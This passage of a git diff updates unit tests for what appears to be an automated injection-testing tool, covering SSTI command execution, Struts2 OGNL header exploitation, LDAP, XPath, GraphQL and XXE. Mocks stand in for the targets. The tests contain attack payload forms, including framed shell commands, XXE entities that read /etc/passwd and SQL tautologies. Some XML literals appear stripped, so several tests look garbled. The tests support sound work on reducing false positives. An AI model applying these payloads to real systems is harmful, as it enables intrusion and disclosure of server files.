"$((" not in value: + return "%d" % (int(m.group(1)) * int(m.group(2))) + return "baseline" # the Unix $(( )) family produces nothing here + + ssti._send = mock + self.assertTrue(ssti._probeRce("GET", "q", engine)) + + def test_windows_framed_builder_shape(self): + # the Windows framed command concatenates the marker fragments at runtime via `echo|set /p=` + cmd = ssti._winFramed("whoami", "SA", "SB", "EA", "EB") + self.assertIn("cmd /c", cmd) + self.assertIn("set /p=SA", cmd) + self.assertIn("set /p=SB", cmd) + self.assertIn("whoami", cmd) + # the concatenated markers 'SASB'/'EAEB' are NOT present literally (only the separate fragments) + self.assertNotIn("SASB", cmd) + self.assertNotIn("EAEB", cmd) + + class TestExecuteCommand(unittest.TestCase): def setUp(self): self.original_send = ssti._send @@ -426,9 +559,12 @@ def mock(place, parameter, value): "Should have tried the second payload after error skip") def test_all_error_pages_produce_warning(self): - """When all RCE payloads produce template errors, no success is reported. - _executeCommand sends baseline + one request per fallback payload.""" + """When all RCE payloads produce template errors, no success is reported. _executeCommand sends + a baseline, then TWO passes over the payloads: a reflection-proof boundary-marker capture pass + a framed pass PER OS family (unix + windows), and an unframed baseline-diff fallback pass (the + file-based pass sends nothing without a _FILE_RCE spec, as for Jinja2).""" engine = ssti._ENGINE_TABLE[0] + self.assertNotIn(engine.name, ssti._FILE_RCE) # guard the arithmetic below calls = [] def mock(place, parameter, value): @@ -437,9 +573,10 @@ def mock(place, parameter, value): ssti._send = mock ssti._executeCommand("GET", "q", engine, "test") - # 1 baseline + N payload attempts = N+1 calls - self.assertEqual(len(calls), len(engine.rcePayloads) + 1, - "Should have tried all payloads (baseline + one per fallback) before giving up") + # 1 baseline + (families framed + 1 unframed) passes, each over N payloads + passes = len(ssti._SHELL_FAMILIES) + 1 + self.assertEqual(len(calls), 1 + passes * len(engine.rcePayloads), + "Should have tried the framed pass per OS family then the unframed pass before giving up") class TestCommandEscaping(unittest.TestCase): @@ -642,27 +779,51 @@ def tearDown(self): def test_struts2_wired_for_file_rce(self): self.assertIn("Struts2 (OGNL)", ssti._FILE_RCE) # modern-JDK file-based fallback wired - def test_s2045_detection_marker_echo(self): + def test_s2045_detection_derived_product(self): import re - # a vulnerable Struts2 evaluates the OGNL and writes the printed marker into the response + # a vulnerable Struts2 EVALUATES the OGNL arithmetic and writes the PRODUCT (absent from the header) def mock(url, action): - m = re.search(r"#w\.print\('([a-z0-9]+)'\)", action) - return " %s " % m.group(1) if m else "" + m = re.search(r"#w\.print\((\d+)\*(\d+)\)", action) + return " %d " % (int(m.group(1)) * int(m.group(2))) if m else "" ssti._s2045Send = mock - self.assertIsNotNone(ssti._probeStruts2Header("http://target")) + self.assertTrue(ssti._probeStruts2Header("http://target")) + + def test_s2045_detection_rejects_reflected_header(self): + # KEY P0-6 case: the server REFLECTS the Content-Type header verbatim. The literal operands are + # echoed but never their product, so no reflection can satisfy the derived challenge -> not vuln + ssti._s2045Send = lambda url, action: "You sent Content-Type: %s" % action + self.assertIsNone(ssti._probeStruts2Header("http://target")) def test_s2045_not_vulnerable(self): ssti._s2045Send = lambda url, action: "ordinary Struts page, no eval" self.assertIsNone(ssti._probeStruts2Header("http://target")) - def test_s2045_command_output_sliced_from_markers(self): - # the shell echoes start/end markers around stdout; the response also carries the action HTML + def test_s2045_all_collisions_do_not_confirm(self): + # every product collides with the baseline -> no challenge is ever evaluated -> not confirmed + import lib.techniques.ssti.inject as _m + orig = _m.randomInt + try: + _m.randomInt = lambda n: 2 # product is always 4 + ssti._s2045Send = lambda url, action: "page containing 4" + self.assertIsNone(ssti._probeStruts2Header("http://target")) + finally: + _m.randomInt = orig + + def test_s2045_command_output_sliced_from_derived_markers(self): + import re + # the shell CONCATENATES the marker fragments (printf %s%s A B -> AB); the concatenation never + # appears in the header, so it can only come from execution def mock(url, action): - m = re.search(r"echo ([a-z0-9]+); .* 2>&1; echo ([a-z0-9]+)", action) + m = re.search(r"printf %s%s (\w+) (\w+); .* 2>&1; printf %s%s (\w+) (\w+)", action) if not m: return "" - start, end = m.group(1), m.group(2) + start, end = m.group(1) + m.group(2), m.group(3) + m.group(4) return "%s\nuid=0(root) gid=0(root)\n%s" % (start, end) - import re ssti._s2045Send = mock self.assertEqual(ssti._executeStruts2Header("http://target", "id"), "uid=0(root) gid=0(root)") + + def test_s2045_command_rejects_reflected_header(self): + # raw header reflection: the fragments appear separated ('printf %s%s A B'), never concatenated, + # so no start/end marker is found -> no fabricated 'output' + ssti._s2045Send = lambda url, action: "reflected: %s" % action + self.assertIsNone(ssti._executeStruts2Header("http://target", "id")) diff --git a/tests/test_techniques.py b/tests/test_techniques.py index 966354a64d2..fe7563a4436 100644 --- a/tests/test_techniques.py +++ b/tests/test_techniques.py @@ -839,11 +839,18 @@ def test_grid_renders_table(self): # header + 2 rows + 4 separators (top, under-header, ... actually 3 borders + n rows) self.assertEqual(grid.count("+----+----+"), 3) - def test_charset_excludes_metachars(self): + def test_charset_includes_metachars_escaped(self): + # filter metacharacters ARE extractable - _ldapLiteral() escapes them, so a value containing + # '*'/'('/')'/'\\' is recovered in full rather than truncated at the first one for meta in ("*", "(", ")", "\\"): - self.assertNotIn(ord(meta), ldap._CHARSET) + self.assertIn(ord(meta), ldap._CHARSET) self.assertIn(ord("a"), ldap._CHARSET) self.assertIn(ord("0"), ldap._CHARSET) + # common characters are still tried before the (rare) metacharacters + self.assertLess(ldap._CHARSET.index(ord("a")), ldap._CHARSET.index(ord("*"))) + # the escaping the extractor relies on + self.assertEqual(ldap._ldapLiteral("abc*def"), "abc\\2adef") + self.assertIn("\\28", ldap._ldapLiteral("x(y)")) def test_probe_builder_shapes(self): b = ldap._ProbeBuilder("*)") @@ -865,7 +872,7 @@ class _LdapOracleCase(unittest.TestCase): match: a payload's trailing assertion '(attr=value*' matches when the directory holds `attr` whose value starts with `value`.""" - DIRECTORY = {"uid": "admin", "mail": "bob", "cn": "Administrator"} + DIRECTORY = {"objectClass": "top", "uid": "admin", "mail": "bob", "cn": "Administrator"} def setUp(self): self._sparams = conf.get("parameters") @@ -876,6 +883,9 @@ def setUp(self): conf.parameters = {PLACE.GET: "user=admin"} conf.paramDict = {PLACE.GET: {"user": "admin"}} conf.cookieDel = None + # the boolean tests exercise the content-similarity path; null any explicit user oracle that + # an earlier test module may have left set (the engines now honor --string/--regexp globally) + conf.string = conf.notString = conf.regexp = conf.code = None directory = self.DIRECTORY @@ -911,7 +921,9 @@ def test_replace_segment(self): class TestLdapOracle(_LdapOracleCase): def _oracle(self): - return ldap._makeOracle(PLACE.GET, "user", "TRUE-CONTENT-stable-match-uid") + # _makeOracle now recalibrates its own true/false models on the winning breakout + SENTINEL + # base (matched (objectClass=*) vs (objectClass=)); pass the breakout, not a template + return ldap._makeOracle(PLACE.GET, "user", ")") def test_exists_true(self): oracle, builder = self._oracle(), ldap._ProbeBuilder(")") @@ -935,9 +947,10 @@ def test_infer_attribute_missing_none(self): def test_enumerate_entry_keys(self): oracle, builder = self._oracle(), ldap._ProbeBuilder(")") - keyAttr, values = ldap._enumerateEntryKeys(oracle, builder) + keyAttr, values, partial = ldap._enumerateEntryKeys(oracle, builder) self.assertEqual(keyAttr, "uid") self.assertEqual(values, ["admin"]) + self.assertFalse(partial) # clean end, not an inconclusive abort class TestLdapBoolean(_LdapOracleCase): @@ -1036,10 +1049,111 @@ def test_slot_value(self): # non-graphql passes through unchanged self.assertEqual(gql._slotValue("raw"), "raw") - def test_default_for_arg(self): - self.assertEqual(gql._defaultForArg({"kind": "SCALAR", "name": "Int"}, None), 0) - self.assertEqual(gql._defaultForArg({"kind": "SCALAR", "name": "String"}, None), "x") - self.assertEqual(gql._defaultForArg({"kind": "SCALAR", "name": "String"}, "given"), "given") + def _nn(self, inner): + return {"kind": "NON_NULL", "ofType": inner} + + def test_render_sibling_omits_optionals(self): + # OPTIONAL argument (not NON_NULL) with no default -> OMITTED (None), never a bogus sentinel + # that would invalidate the query and cause a false negative + self.assertIsNone(gql._renderSibling("limit", {"kind": "SCALAR", "name": "Int"}, None)) + self.assertIsNone(gql._renderSibling("active", {"kind": "SCALAR", "name": "Boolean"}, None)) + self.assertIsNone(gql._renderSibling("tags", {"kind": "LIST"}, None)) + + def test_render_sibling_required_native_syntax(self): + # REQUIRED (NON_NULL) argument with no default -> synthesize NATIVE syntax per kind + self.assertEqual(gql._renderSibling("limit", self._nn({"kind": "SCALAR", "name": "Int"}), None), "limit:0") + self.assertEqual(gql._renderSibling("q", self._nn({"kind": "SCALAR", "name": "String"}), None), 'q:"x"') + self.assertEqual(gql._renderSibling("active", self._nn({"kind": "SCALAR", "name": "Boolean"}), None), "active:false") + self.assertEqual(gql._renderSibling("ids", self._nn({"kind": "LIST", "ofType": {"kind": "SCALAR", "name": "Int"}}), None), "ids:[]") + self.assertEqual(gql._renderSibling("cfg", self._nn({"kind": "INPUT_OBJECT", "name": "Cfg"}), None), "cfg:{}") + + def test_required_nested_input_object_is_recursively_populated(self): + # SearchInput!{ filter: FilterInput!{ term: String! (req), note: String (opt) } }: a required + # nested input must populate its REQUIRED inner fields recursively, not emit a bare {} the + # server rejects; optional inner fields are omitted + gql._inputFields.clear() + gql._inputFields["SearchInput"] = [("filter", self._nn({"kind": "INPUT_OBJECT", "name": "FilterInput"}), None)] + gql._inputFields["FilterInput"] = [ + ("term", self._nn({"kind": "SCALAR", "name": "String"}), None), + ("note", {"kind": "SCALAR", "name": "String"}, None), + ] + try: + out = gql._renderSibling("input", self._nn({"kind": "INPUT_OBJECT", "name": "SearchInput"}), None) + self.assertEqual(out, 'input:{filter:{term:"x"}}') # required term populated, optional note omitted + finally: + gql._inputFields.clear() + + def test_recursive_input_cycle_is_bounded(self): + # a self-referential required input must not recurse forever - it terminates at {} + gql._inputFields.clear() + gql._inputFields["Node"] = [("child", self._nn({"kind": "INPUT_OBJECT", "name": "Node"}), None)] + try: + out = gql._renderSibling("n", self._nn({"kind": "INPUT_OBJECT", "name": "Node"}), None) + self.assertTrue(out.startswith("n:{child:")) + self.assertIn("{}", out) # cycle broken with a bare {} + finally: + gql._inputFields.clear() + + def test_render_sibling_required_enum_uses_bare_identifier(self): + gql._enumValues.clear() + gql._enumValues["Role"] = ["ADMIN", "USER"] + try: + self.assertEqual(gql._renderSibling("role", self._nn({"kind": "ENUM", "name": "Role"}), None), "role:ADMIN") + finally: + gql._enumValues.clear() + + def test_render_sibling_default_emitted_verbatim(self): + # a schema defaultValue is ALREADY a serialized GraphQL literal -> emit VERBATIM, never re-quote + self.assertEqual(gql._renderSibling("active", {"kind": "SCALAR", "name": "Boolean"}, "true"), "active:true") + self.assertEqual(gql._renderSibling("role", {"kind": "ENUM", "name": "Role"}, "ADMIN"), "role:ADMIN") + self.assertEqual(gql._renderSibling("ids", {"kind": "LIST"}, "[1, 2]"), "ids:[1, 2]") + self.assertEqual(gql._renderSibling("filter", {"kind": "INPUT_OBJECT"}, "{a: 1}"), "filter:{a: 1}") + self.assertEqual(gql._renderSibling("n", {"kind": "SCALAR", "name": "Int"}, "5"), "n:5") + self.assertEqual(gql._renderSibling("q", {"kind": "SCALAR", "name": "String"}, '"hello"'), 'q:"hello"') + + def _nnInput(self, name): + return {"kind": "NON_NULL", "ofType": {"kind": "INPUT_OBJECT", "name": name}} + + def test_deep_nested_input_slot_discovered_and_rendered(self): + # search(input: SearchInput!{ filter: FilterInput!{ credentials: Creds!{ username: String! } } }) + # the injectable leaf is input.filter.credentials.username, THREE levels deep - it must be both + # DISCOVERED as a slot and RENDERED as the full nested literal + gql._inputFields.clear() + gql._inputFields["SearchInput"] = [("filter", self._nnInput("FilterInput"), None)] + gql._inputFields["FilterInput"] = [("credentials", self._nnInput("Creds"), None)] + gql._inputFields["Creds"] = [("username", self._nn({"kind": "SCALAR", "name": "String"}), None)] + try: + slots = [] + gql._inputSlots("query", "Query", "search", + [("input", self._nnInput("SearchInput"), None)], + "input", self._nnInput("SearchInput"), + "OBJECT", "User", "{ id }", + {"SearchInput": {"kind": "INPUT_OBJECT", "name": "SearchInput", "inputFields": [{"name": "filter", "type": self._nnInput("FilterInput")}]}, + "FilterInput": {"kind": "INPUT_OBJECT", "name": "FilterInput", "inputFields": [{"name": "credentials", "type": self._nnInput("Creds")}]}, + "Creds": {"kind": "INPUT_OBJECT", "name": "Creds", "inputFields": [{"name": "username", "type": self._nn({"kind": "SCALAR", "name": "String"})}]}}, + slots) + paths = [s.targetArg for s in slots] + self.assertIn("input.filter.credentials.username", paths) + + slot = [s for s in slots if s.targetArg == "input.filter.credentials.username"][0] + q = gql._buildQuery(slot, "PWN") + self.assertIn('input: {filter:{credentials:{username:"PWN"}}}', q) + finally: + gql._inputFields.clear() + + def test_recursive_input_slot_cycle_bounded(self): + # a self-referential input object must not loop forever during slot discovery + gql._inputFields.clear() + gql._inputFields["Node"] = [("child", self._nnInput("Node"), None), ("val", self._nn({"kind": "SCALAR", "name": "String"}), None)] + try: + slots = [] + tbn = {"Node": {"kind": "INPUT_OBJECT", "name": "Node", "inputFields": [ + {"name": "child", "type": self._nnInput("Node")}, {"name": "val", "type": self._nn({"kind": "SCALAR", "name": "String"})}]}} + gql._inputSlots("mutation", "Mutation", "f", [("n", self._nnInput("Node"), None)], + "n", self._nnInput("Node"), "OBJECT", "R", "{ id }", tbn, slots) + self.assertTrue(any(s.targetArg.endswith(".val") for s in slots)) # terminates + finds a leaf + finally: + gql._inputFields.clear() # A minimal but realistic introspection schema: query user(id: String, limit: Int): User @@ -1121,7 +1235,7 @@ def test_build_query_string_arg(self): q = gql._buildQuery(self.strSlot, "x' OR '1'='1") self.assertTrue(q.startswith("{user:user(")) self.assertIn('id:"x\' OR \'1\'=\'1"', q) - self.assertIn("limit:0", q) # required-ish sibling defaulted + self.assertNotIn("limit", q) # optional sibling with no default is OMITTED (P0-2) self.assertIn("{ name uid }", q) def test_build_query_numeric_rejects_non_numeric(self): @@ -1246,7 +1360,7 @@ def test_dump_table_grid(self): "(SELECT COUNT(*) %s)" % colFrom: "2", "(SELECT %s %s %s)" % (d.columnCol, colFrom, d.paginate(d.columnCol, 0)): "id", "(SELECT %s %s %s)" % (d.columnCol, colFrom, d.paginate(d.columnCol, 1)): "name", - "(SELECT COUNT(*) FROM users)": "2", + "(SELECT COUNT(*) FROM %s)" % d.fromIdent("users"): "2", d.row(["id", "name"], "users", 0): gql.COL_SEP.join(("1", "alice")), d.row(["id", "name"], "users", 1): gql.COL_SEP.join(("2", "bob")), } diff --git a/tests/test_xpath.py b/tests/test_xpath.py index 99903382ada..e65ac126162 100644 --- a/tests/test_xpath.py +++ b/tests/test_xpath.py @@ -10,6 +10,7 @@ """ import os +import re import sys import unittest @@ -181,6 +182,11 @@ def mock(place, parameter, value): def test_detection_returns_extractable_boundary(self): def mock(place, parameter, value): + # faithful XPath engine: string-length('ab')=2 holds (XPath-only confirm the detector + # now requires), =3 does not; plus the true()/false() the break-out probes with + m = re.search(r"string-length\('ab'\)=(\d+)", value) + if m: + return '{"count":7,"entries":[{...}]}' if int(m.group(1)) == 2 else '{"count":0,"entries":[],"error":null}' if "true()" in value: return '{"count":7,"entries":[{...}]}' elif "false()" in value: @@ -218,6 +224,71 @@ def test_tree_to_table(self): self.assertGreater(len(rows), 0) +class TestExtractionCalibration(unittest.TestCase): + def test_xpath_or_boundary_calibrates_with_sentinel_base(self): + # for an OR-style boundary the extraction base is SENTINEL (not the original), and _makeOracle + # must calibrate its true()/false() models on THAT base so they match the extraction payloads + from lib.core.enums import PLACE + orBoundary = xpath.Boundary("' or ", " and '1'='1", True) + self.assertEqual(xpath._extractionBase("origvalue", orBoundary), xpath.SENTINEL) + + sent = [] + + def spy(place, parameter, value): + sent.append(value) + return "TRUE-model-page" if "true()" in value else "FALSE-model-page" + + old = xpath._send + xpath._send = spy + try: + xpath.conf.parameters = {PLACE.GET: "q=x"} + xpath.conf.paramDict = {PLACE.GET: {"q": "x"}} + oracle = xpath._makeOracle(PLACE.GET, "q", orBoundary, xpath._extractionBase("origvalue", orBoundary)) + finally: + xpath._send = old + self.assertIsNotNone(oracle) + self.assertTrue(sent) + self.assertTrue(all(xpath.SENTINEL in p for p in sent), "calibration used a non-sentinel base: %r" % sent) + self.assertFalse(any("origvalue" in p for p in sent)) + + def test_transient_failure_on_true_bit_is_not_a_false_bit(self): + # A timeout/5xx on a TRUE predicate must NOT be cached as a false bit: resolveBit re-sends and + # recovers the correct TRUE, and a PERSISTENT failure aborts (InconclusiveError), never False. + from lib.core.enums import PLACE + from lib.utils.nonsql import InconclusiveError + orBoundary = xpath.Boundary("' or ", " and '1'='1", True) + base = xpath._extractionBase("x", orBoundary) + + state = {"armed": False, "failed": set()} + + def flaky(place, parameter, value): + page = "TRUE-model-page" if "true()" in value else "FALSE-model-page" + # once armed (post-build), the FIRST send of each probe fails transiently, then recovers + if state["armed"] and value not in state["failed"]: + state["failed"].add(value) + return None + return page + + old = xpath._send + xpath._send = flaky + try: + xpath.conf.parameters = {PLACE.GET: "q=x"} + xpath.conf.paramDict = {PLACE.GET: {"q": "x"}} + oracle = xpath._makeOracle(PLACE.GET, "q", orBoundary, base) # calibrates cleanly + self.assertIsNotNone(oracle) + + # a fresh TRUE probe whose FIRST send fails transiently must resolve to True (retry), never False + probe = xpath._makePayload(base, orBoundary, "true()") + "[1]" + state["armed"] = True + self.assertTrue(oracle.extract(probe)) + + # a PERSISTENTLY failing probe must raise InconclusiveError, never return False + xpath._send = lambda place, parameter, value: None + self.assertRaises(InconclusiveError, oracle.extract, probe + "Z") + finally: + xpath._send = old + + class TestExtraction(unittest.TestCase): def test_infer_value_mock(self): expected = "directory" @@ -289,6 +360,48 @@ def extract(self, payload): maxLen=32) self.assertEqual(fast, linear) + def test_inconclusive_oracle_aborts_value_not_fabricates(self): + # An oracle that stays INCONCLUSIVE (raises InconclusiveError, as resolveBit does after + # retries) must abort the value cleanly - _inferString returns None and _inferCount returns + # None (unknown) - rather than emitting a length/char/count chosen from an ambiguous bit. + from lib.utils.nonsql import InconclusiveError + boundary = xpath._BREAKOUT_BOUNDARY["') or true() or ('"] + builder = xpath._XPathPayloadBuilder("x", boundary) + + class InconclusiveOracle(object): + def extract(self, payload): + raise InconclusiveError() + + oracle = InconclusiveOracle() + self.assertIsNone(xpath._inferString(oracle, builder, "name(/*)", maxLen=32)) + # inconclusive count must be None (unknown), NEVER 0 - 0 would read as a leaf and fabricate text + self.assertIsNone(xpath._inferCount(oracle, builder, "/*", + lambda b, p, c: b.childCount(p, c), maxCount=8)) + self.assertIsNone(xpath._inferValue(oracle, builder, "/*", + lambda b, p, prefix: b.nameStartsWith(p, prefix), maxLen=32)) + + def test_walk_tree_marks_partial_and_does_not_fabricate_text_on_unknown_count(self): + # name resolves (real lxml eval), but every child/attribute COUNT probe is inconclusive: the + # node must be marked partial, must NOT be treated as a leaf (no fabricated scalar text), and + # must not iterate phantom children + from lib.utils.nonsql import InconclusiveError + boundary = xpath._BREAKOUT_BOUNDARY["') or true() or ('"] + builder = xpath._XPathPayloadBuilder("x", boundary) + template = _XPATH_TEMPLATES["function_arg"] + + class PartialCountOracle(object): + def extract(self, payload): + if "count(" in payload: + raise InconclusiveError() # child/attribute counts are ambiguous + return _xpath_eval(template, payload) > 0 # names/strings resolve normally + + node = xpath._walkTree(PartialCountOracle(), builder, "/*") + self.assertIsNotNone(node) + self.assertEqual(node["name"], "directory") + self.assertTrue(node["partial"]) + self.assertIsNone(node["text"]) # unknown child count must NOT fabricate leaf text + self.assertEqual(node["children"], []) + class TestBackendFingerprint(unittest.TestCase): def test_lxml(self): diff --git a/tests/test_xxe.py b/tests/test_xxe.py index 736f8ece04f..48ef5301631 100644 --- a/tests/test_xxe.py +++ b/tests/test_xxe.py @@ -88,18 +88,62 @@ def test_existing_external_subset(self): self.assertEqual(out.count("' sequence inside a quoted entity value must NOT be taken as the subset close - the + # splice still lands inside the real internal subset and produces a single valid DOCTYPE + xml = 'y">]>z' + out = xxe._buildDoctype(xml, "r", self.SUBSET) + self.assertEqual(out.count("z")) + + +class TestScanDoctype(unittest.TestCase): + """Lexical DOCTYPE scanner: boundaries must be immune to quoted '>', comments and ']>' in values.""" + + def test_no_doctype(self): + self.assertIsNone(xxe._scanDoctype("x")) + + def test_content_start_skips_doctype_with_quoted_bracket(self): + # ']>' inside the entity value is NOT the subset end; content starts after the REAL '>' + xml = 'trap">]>real' + cs = xxe._contentStart(xml) + self.assertEqual(xml[cs:], "real") + + def test_content_start_skips_doctype_with_comment(self): + xml = ' not the end -->]>real' + self.assertEqual(xml[xxe._contentStart(xml):], "real") + + def test_text_node_count_ignores_dtd_bracket_in_value(self): + # the '>text<'-looking fragment is inside the DTD entity value, not a body text node + xml = 'x">]>luther' + self.assertEqual(xxe._textNodeCount(xml), 1) # only luther + class TestPlaceRef(unittest.TestCase): - def test_all_text_nodes(self): + def test_single_node_preserves_others(self): + # ONE location per call - every OTHER value stays intact (no whole-document destruction) out = xxe._placeRef("

onetwo

", "&e;") - self.assertEqual(out.count("&e;"), 2) - self.assertNotIn("one", out) - self.assertNotIn("two", out) - - def test_attributes_only_when_requested(self): - text = 'luther' - self.assertNotIn('id="&e;"', xxe._placeRef(text, "&e;")) # attrs off by default - self.assertIn('id="&e;"', xxe._placeRef(text, "&e;", attrs=True)) # attrs on + self.assertEqual(out.count("&e;"), 1) + self.assertIn("&e;", out) # default: first text node + self.assertIn("two", out) # second field preserved + + def test_index_sweeps_each_node(self): + xml = "

onetwo

" + self.assertEqual(xxe._textNodeCount(xml), 2) + out1 = xxe._placeRef(xml, "&e;", index=1) + self.assertIn("&e;", out1) # second text node targeted + self.assertIn("one", out1) # first field preserved + + def test_attribute_seeded_only_as_fallback(self): + noText = '' # no leaf text node + self.assertNotIn('="&e;"', xxe._placeRef(noText, "&e;")) # attrs off -> no seeding + self.assertIn('="&e;"', xxe._placeRef(noText, "&e;", attrs=True)) # attrs on -> one attr seeded + withText = 'luther' + seeded = xxe._placeRef(withText, "&e;", attrs=True) + self.assertIn(">&e;<", seeded) # text node preferred over attr + self.assertIn('id="1"', seeded) # attribute preserved def test_xmlns_preserved(self): out = xxe._placeRef('x', "&e;", attrs=True) @@ -240,6 +284,25 @@ def singleString(self, data, content_type=None): finally: conf.dumper, conf.method, conf.beep = old_dumper, old_method, old_beep self.assertIn("Parameter: XML body (PUT)", captured[0]) + self.assertIn("Type: XXE injection", captured[0]) # default vuln type + + def test_xxe_internal_entity_is_not_reported_as_xxe(self): + # internal-only general-entity expansion is a parser-configuration weakness, NOT confirmed + # XXE (which needs external resolution) - it must carry a distinct, weaker vuln type + captured = [] + + class _Dumper(object): + def singleString(self, data, content_type=None): + captured.append(data) + + old_dumper, old_method, old_beep = conf.get("dumper"), conf.get("method"), conf.get("beep") + conf.dumper, conf.method, conf.beep = _Dumper(), "POST", False + try: + xxe._report("DTD/internal general entity expansion enabled", "&e;", vulnType="XML parser configuration") + finally: + conf.dumper, conf.method, conf.beep = old_dumper, old_method, old_beep + self.assertIn("Type: XML parser configuration", captured[0]) + self.assertNotIn("Type: XXE injection", captured[0]) class TestHarvestFiles(unittest.TestCase): @@ -298,6 +361,57 @@ def test_internal_reflected_positive(self): payload, _ = xxe._tryInternal("luther", "u", baseline="Hello, luther!") self.assertIsNotNone(payload) + def test_inband_read_rejects_html_escaped_entity_reflection(self): + # the app HTML-escapes the reflected entity reference (&;) between the markers: that is + # reflection, NOT an expanded file read - the random entity name survives de-escaping, so it + # must be rejected (the P0-5 false positive that fabricated 'file contents') + import re as _re + + def mock(body): + m = _re.search(r"x", "u", "/etc/passwd") + self.assertIsNone(content) + + def test_inband_read_accepts_genuine_expansion(self): + # a genuine file read: the requested path returns real content, a NONEXISTENT path returns + # something different -> the matched control passes and the content is accepted + import re as _re + + def mock(body): + mk = _re.search(r'(\w{8})&\w+;(\w{8})', body) + if not (mk and "SYSTEM" in body and "php://filter" not in body): + return "nope" + if "/etc/passwd" in body: + return "%sroot:x:0:0:root:/root:/bin/bash%s" % (mk.group(1), mk.group(2)) + return "%s%s" % (mk.group(1), mk.group(2)) # nonexistent path -> empty between markers + + xxe._send = mock + content, _ = xxe._tryInbandFileRead("x", "u", "/etc/passwd") + self.assertEqual(content, "root:x:0:0:root:/root:/bin/bash") + + def test_inband_read_rejects_path_independent_placeholder(self): + # P0-2: a gateway returns a FIXED placeholder for every path (real + nonexistent). The matched + # control sees identical content and rejects it as not-genuine file contents. + import re as _re + + def mock(body): + mk = _re.search(r'(\w{8})&\w+;(\w{8})', body) + if not (mk and "SYSTEM" in body and "php://filter" not in body): + return "nope" + return "%s[external entity disabled]%s" % (mk.group(1), mk.group(2)) # same for ANY path + + xxe._send = mock + content, _ = xxe._tryInbandFileRead("x", "u", "/etc/passwd") + self.assertIsNone(content) + def test_internal_echo_rejected(self): # endpoint mirrors the raw body back (never parses) -> must NOT be a hit xxe._send = lambda body: "You sent: %s" % body @@ -309,6 +423,30 @@ def test_internal_baseline_contains_sentinel_rejected(self): payload, _ = xxe._tryInternal("luther", "u", baseline="already %s here" % xxe.SENTINEL) self.assertIsNone(payload) + def test_location_sweep_finds_non_first_leaf(self): + # The first leaf is inside which the (mock) app validates and strips; only the entity ref + # placed in the SECOND leaf () survives and reflects. The sweep must try location #1 and the + # engine must latch it so downstream read tiers reuse it - a fixed index=0 would be a false neg. + xml = "7luther" + self.assertEqual(xxe._textNodeCount(xml), 2) + + def mock(body): + # reflect the sentinel only when the entity ref sits in the second leaf (&ent;); + # a ref in the first leaf (&ent;) is validated away and never reflects + return ("Hello, %s!" % xxe.SENTINEL) if re.search(r"\s*&\w+;", body) else "Hello, !" + + xxe._send = mock + xxe._PLACE_INDEX = 0 + hit = None + for i in xxe._sweepLocations(xml): + payload, _ = xxe._tryInternal(xml, "u", baseline="Hello, luther!", index=i) + if payload: + hit = i + break + self.assertEqual(hit, 1) + # location #0 alone (the default) must NOT reflect -> proves the sweep was necessary + self.assertIsNone(xxe._tryInternal(xml, "u", baseline="Hello, luther!", index=0)[0]) + def test_error_based_positive(self): xxe._send = lambda body: 'XML error: failed to load external entity "file:///%s/nonexistent"' % xxe.SENTINEL payload, page = xxe._tryError("x", "u")